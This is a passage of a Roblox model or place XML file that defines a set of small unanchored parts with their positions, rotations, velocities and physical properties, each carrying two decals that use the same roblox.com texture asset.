					<R01>3.75440795e-005</R01>
					<R02>-0.128828734</R02>
					<R10>-5.28140517e-005</R10>
					<R11>1</R11>
					<R12>-0.00011511302</R12>
					<R20>0.128828719</R20>
					<R21>0.000120957731</R21>
					<R22>0.991666853</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0711605921</X>
					<Y>0.00167363777</Y>
					<Z>-0.0324849002</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00159444881</X>
					<Y>-0.0107541531</Y>
					<Z>0.00408097776</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1518">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1519">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1520">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>22.6315994</X>
					<Y>0.591222584</Y>
					<Z>-2.95936179</Z>
					<R00>0.384454817</R00>
					<R01>-0.000209918086</R01>
					<R02>0.923143804</R02>
					<R10>-3.76700118e-005</R10>
					<R11>0.99999994</R11>
					<R12>0.000243082934</R12>
					<R20>-0.923143804</R20>
					<R21>-0.000128229236</R21>
					<R22>0.384454787</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0330269374</X>
					<Y>0.000486649777</Y>
					<Z>-0.00504552107</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.00373032456</X>
					<Y>-0.0034420311</Y>
					<Z>0.00274975854</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1521">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1522">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1523">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>16.5530148</X>
					<Y>0.589199603</Y>
					<Z>-6.21309757</Z>
					<R00>-0.235506177</R00>
					<R01>0.000644187734</R01>
					<R02>-0.971872568</R02>
					<R10>-0.00191340537</R10>
					<R11>-0.999998093</R11>
					<R12>-0.000199169735</R12>
					<R20>-0.971870899</R20>
					<R21>0.00181268062</R21>
					<R22>0.235507086</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0350070409</X>
					<Y>0.00165150862</Y>
					<Z>0.0471457914</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000904273824</X>
					<Y>-0.00925121829</Y>
					<Z>0.000896990125</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1524">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1525">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1526">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>20.5675354</X>
					<Y>0.591127336</Y>
					<Z>1.13334906</Z>
					<R00>-0.975156426</R00>
					<R01>-1.24048893e-005</R01>
					<R02>-0.221517622</R02>
					<R10>1.45335252e-005</R10>
					<R11>-1</R11>
					<R12>-7.97936718e-006</R12>
					<R20>-0.221517622</R20>
					<R21>-1.10005631e-005</R21>
					<R22>0.975156367</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0105149392</X>
					<Y>0.000908223272</Y>
					<Z>-0.0375097767</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00165523088</X>
					<Y>-0.0138420947</Y>
					<Z>0.00646933168</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1527">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1528">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1529">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>31.1271458</X>
					<Y>0.589901805</Y>
					<Z>10.1952457</Z>
					<R00>-0.429210365</R00>
					<R01>6.06141793e-006</R01>
					<R02>0.90320456</R02>
					<R10>-5.87847489e-006</R10>
					<R11>-0.99999994</R11>
					<R12>3.91751291e-006</R12>
					<R20>0.90320456</R20>
					<R21>-3.62802803e-006</R21>
					<R22>0.429210395</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.0353303663</X>
					<Y>2.99285263e-009</Y>
					<Z>0.0240547899</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.000736107526</X>
					<Y>-0.00484573841</Y>
					<Z>-0.00186065654</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1530">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1531">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1532">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>33.0115471</X>
					<Y>0.59007895</Y>
					<Z>5.4923563</Z>
					<R00>0.227457538</R00>
					<R01>0.000108876302</R01>
					<R02>0.973787963</R02>
					<R10>0.000193281448</R10>
					<R11>0.99999994</R11>
					<R12>-0.000156953683</R12>
					<R20>-0.973787963</R20>
					<R21>0.000223915456</R21>
					<R22>0.227457508</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0650516376</X>
					<Y>-0.00216495595</Y>
					<Z>-0.0671123564</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00242831861</X>
					<Y>0.0172587223</Y>
					<Z>0.000231899656</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1533">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1534">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1535">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>30.2430782</X>
					<Y>0.979562879</Y>
					<Z>8.81754112</Z>
					<R00>0.279561251</R00>
					<R01>-0.000334988727</R01>
					<R02>0.960127771</R02>
					<R10>0.000108422311</R10>
					<R11>0.99999994</R11>
					<R12>0.000317330705</R12>
					<R20>-0.960127831</R20>
					<R21>1.53859201e-005</R21>
					<R22>0.279561251</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0192075521</X>
					<Y>-0.00655276049</Y>
					<Z>0.0250851177</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00711993035</X>
					<Y>-0.00635387097</Y>
					<Z>-0.00583885284</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1536">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1537">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1538">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>30.6985397</X>
					<Y>0.589781165</Y>
					<Z>8.37226009</Z>
					<R00>0.287528247</R00>
					<R01>-0.000157308867</R01>
					<R02>0.957772076</R02>
					<R10>6.99139855e-005</R10>
					<R11>1</R11>
					<R12>0.000143256024</R12>
					<R20>-0.957772136</R20>
					<R21>2.57715201e-005</R21>
					<R22>0.287528247</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>0.081856966</X>
					<Y>-0.00462259958</Y>
					<Z>0.034986265</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000773464853</X>
					<Y>-0.0214247014</Y>
					<Z>-0.00168445683</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1539">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1540">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1541">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>32.7415581</X>
					<Y>0.589900494</Y>
					<Z>9.44385433</Z>
					<R00>0.371996373</R00>
					<R01>-2.01401963e-006</R01>
					<R02>-0.92823416</R02>
					<R10>2.62381127e-006</R10>
					<R11>-0.999999881</R11>
					<R12>3.22124288e-006</R12>
					<R20>-0.92823416</R20>
					<R21>-3.63380173e-006</R21>
					<R22>-0.371996284</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0199327879</X>
					<Y>1.56684905e-008</Y>
					<Z>-0.0117072333</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>0.000710331544</X>
					<Y>0.00702612894</Y>
					<Z>-0.00047098918</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1542">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1543">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1544">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>36.5430603</X>
					<Y>0.592825353</Y>
					<Z>10.7253551</Z>
					<R00>0.681753039</R00>
					<R01>0.000498974754</R01>
					<R02>0.731582224</R02>
					<R10>-0.000232218663</R10>
					<R11>0.999999881</R11>
					<R12>-0.000465646764</R12>
					<R20>-0.731582403</R20>
					<R21>0.000147569037</R21>
					<R22>0.681753039</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.0145772099</X>
					<Y>-0.00218261429</Y>
					<Z>0.051289387</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
				<float name="TopParamB">0.5</float>
				<token name="TopSurface">0</token>
				<token name="TopSurfaceInput">0</token>
				<float name="Transparency">0</float>
				<Vector3 name="Velocity">
					<X>-0.00214478816</X>
					<Y>-0.00392049737</Y>
					<Z>0.00194516231</Z>
				</Vector3>
				<bool name="archivable">true</bool>
				<token name="shape">1</token>
				<Vector3 name="size">
					<X>2</X>
					<Y>0.400000006</Y>
					<Z>1</Z>
				</Vector3>
			</Properties>
			<Item class="Decal" referent="RBX1545">
				<Properties>
					<token name="Face">4</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
			<Item class="Decal" referent="RBX1546">
				<Properties>
					<token name="Face">1</token>
					<string name="Name">Decal</string>
					<float name="Shiny">20</float>
					<float name="Specular">0</float>
					<Content name="Texture"><url>http://www.roblox.com/asset/?id=16658163</url></Content>
					<bool name="archivable">true</bool>
				</Properties>
			</Item>
		</Item>
		<Item class="Part" referent="RBX1547">
			<Properties>
				<bool name="Anchored">false</bool>
				<float name="BackParamA">-0.5</float>
				<float name="BackParamB">0.5</float>
				<token name="BackSurface">0</token>
				<token name="BackSurfaceInput">0</token>
				<float name="BottomParamA">-0.5</float>
				<float name="BottomParamB">0.5</float>
				<token name="BottomSurface">0</token>
				<token name="BottomSurfaceInput">0</token>
				<int name="BrickColor">28</int>
				<CoordinateFrame name="CFrame">
					<X>32.0030327</X>
					<Y>0.873448253</Y>
					<Z>6.59122372</Z>
					<R00>0.771671712</R00>
					<R01>0.235083744</R01>
					<R02>-0.590980887</R02>
					<R10>0.29139632</R10>
					<R11>-0.956602454</R11>
					<R12>-3.27589696e-005</R12>
					<R20>-0.565341413</R20>
					<R21>-0.172184378</R21>
					<R22>-0.806685627</R22>
				</CoordinateFrame>
				<bool name="CanCollide">true</bool>
				<bool name="DraggingV1">false</bool>
				<float name="Elasticity">0.00999999978</float>
				<token name="FormFactor">2</token>
				<float name="Friction">0.300000012</float>
				<float name="FrontParamA">-0.5</float>
				<float name="FrontParamB">0.5</float>
				<token name="FrontSurface">0</token>
				<token name="FrontSurfaceInput">0</token>
				<float name="LeftParamA">-0.5</float>
				<float name="LeftParamB">0.5</float>
				<token name="LeftSurface">0</token>
				<token name="LeftSurfaceInput">0</token>
				<bool name="Locked">false</bool>
				<token name="Material">256</token>
				<string name="Name">Part</string>
				<float name="Reflectance">0</float>
				<float name="RightParamA">-0.5</float>
				<float name="RightParamB">0.5</float>
				<token name="RightSurface">0</token>
				<token name="RightSurfaceInput">0</token>
				<Vector3 name="RotVelocity">
					<X>-0.013990459</X>
					<Y>0.000274369551</Y>
					<Z>-0.0310511924</Z>
				</Vector3>
				<float name="TopParamA">-0.5</float>
